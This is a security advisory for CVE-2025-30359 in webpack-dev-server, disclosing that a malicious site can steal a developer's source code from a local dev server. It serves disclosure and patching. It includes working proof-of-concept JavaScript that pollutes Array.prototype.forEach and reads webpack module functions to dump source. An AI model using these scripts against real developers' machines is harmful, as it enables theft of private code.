CVE-2025-30359 – webpack-dev-server

Package

Manager: npm
Name: webpack-dev-server
Vulnerable Version: >=0 <5.2.1

Severity

Level: Medium

CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

CVSS v4.0: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS: 0.00042 pctl0.11954

Details

webpack-dev-server users' source code may be stolen when they access a malicious web site ### Summary Source code may be stolen when you access a malicious web site. ### Details Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src="http://localhost:8080/main.js">` in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code. ### PoC 1. Download [reproduction.zip](https://github.com/user-attachments/files/18426585/reproduction.zip) and extract it 2. Run `npm i` 3. Run `npx webpack-dev-server` 4. Open `https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/` 5. You can see the source code output in the document and the devtools console.  The script in the POC site is: ```js let moduleList const onHandlerSet = (handler) => { console.log('h', handler) moduleList = handler.require.m } const originalArrayForEach = Array.prototype.forEach Array.prototype.forEach = function forEach(callback, thisArg) { callback((handler) => { onHandlerSet(handler) }) originalArrayForEach.call(this, callback, thisArg) Array.prototype.forEach = originalArrayForEach } const script = document.createElement('script') script.src = 'http://localhost:8080/main.js' script.addEventListener('load', () => { console.log(moduleList) for (const key in moduleList) { const p = document.createElement('p') const title = document.createElement('strong') title.textContent = key const code = document.createElement('code') code.textContent = moduleList[key].toString() p.append(title, ':', document.createElement('br'), code) document.body.appendChild(p) } }) document.head.appendChild(script) ``` This script uses the function generated by [`renderRequire`](https://github.com/webpack/webpack/blob/3919c844eca394d73ca930e4fc5506fb86e2b094/lib/javascript/JavascriptModulesPlugin.js#L1383). ```js // The require function function __webpack_require__(moduleId) { // Check if module is in cache var cachedModule = __webpack_module_cache__[moduleId]; if (cachedModule !== undefined) { return cachedModule.exports; } // Create a new module (and put it into the cache) var module = __webpack_module_cache__[moduleId] = { // no module.id needed // no module.loaded needed exports: {} }; // Execute the module function var execOptions = { id: moduleId, module: module, factory: __webpack_modules__[moduleId], require: __webpack_require__ }; __webpack_require__.i.forEach(function(handler) { handler(execOptions); }); module = execOptions.module; execOptions.factory.call(module.exports, module, module.exports, execOptions.require); // Return the exports of the module return module.exports; } ``` Especially, it uses the fact that `Array::forEach` is called for `__webpack_require__.i` and `execOptions` contains `__webpack_require__`. It uses prototype pollution against `Array::forEach` to extract `__webpack_require__` reference. ### Impact This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script. <details> <summary>Old content</summary> ### Summary Source code may be stolen when you use [`output.iife: false`](https://webpack.js.org/configuration/output/#outputiife) and access a malicious web site. ### Details When `output.iife: false` is set, some global variables for the webpack runtime are declared on the `window` object (e.g. `__webpack_modules__`). Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src="http://localhost:8080/main.js">` in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the `window` object. By using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code. I pointed out `output.iife: false`, but if there are other options that makes the webpack runtime variables to be declared on the `window` object, the same will apply for those cases. ### PoC 1. Download [reproduction.zip](https://github.com/user-attachments/files/18409777/reproduction.zip) and extract it 2. Run `npm i` 3. Run `npx webpack-dev-server` 4. Open `https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/` 5. Open the devtools console. 6. You can see the content of `src/index.js` and other scripts loaded.  The script in the POC site is: ```js const script = document.createElement('script') script.src = 'http://localhost:8080/main.js' script.addEventListener('load', () => { for (const module in window.__webpack_modules__) { console.log(`${module}:`, window.__webpack_modules__[module].toString()) } }) document.head.appendChild(script) ``` ### Impact This vulnerability can result in the source code to be stolen for users that has `output.iife: false` option set and uses a predictable port and output path for the entrypoint script. </details>

Metadata

Created: 2025-06-04T21:09:13Z
Modified: 2025-06-04T21:09:13Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/06/GHSA-4v9v-hfq4-rm2v/GHSA-4v9v-hfq4-rm2v.json
CWE IDs: ["CWE-749"]
Alternative ID: GHSA-4v9v-hfq4-rm2v
Finding: F164
Auto approve: 1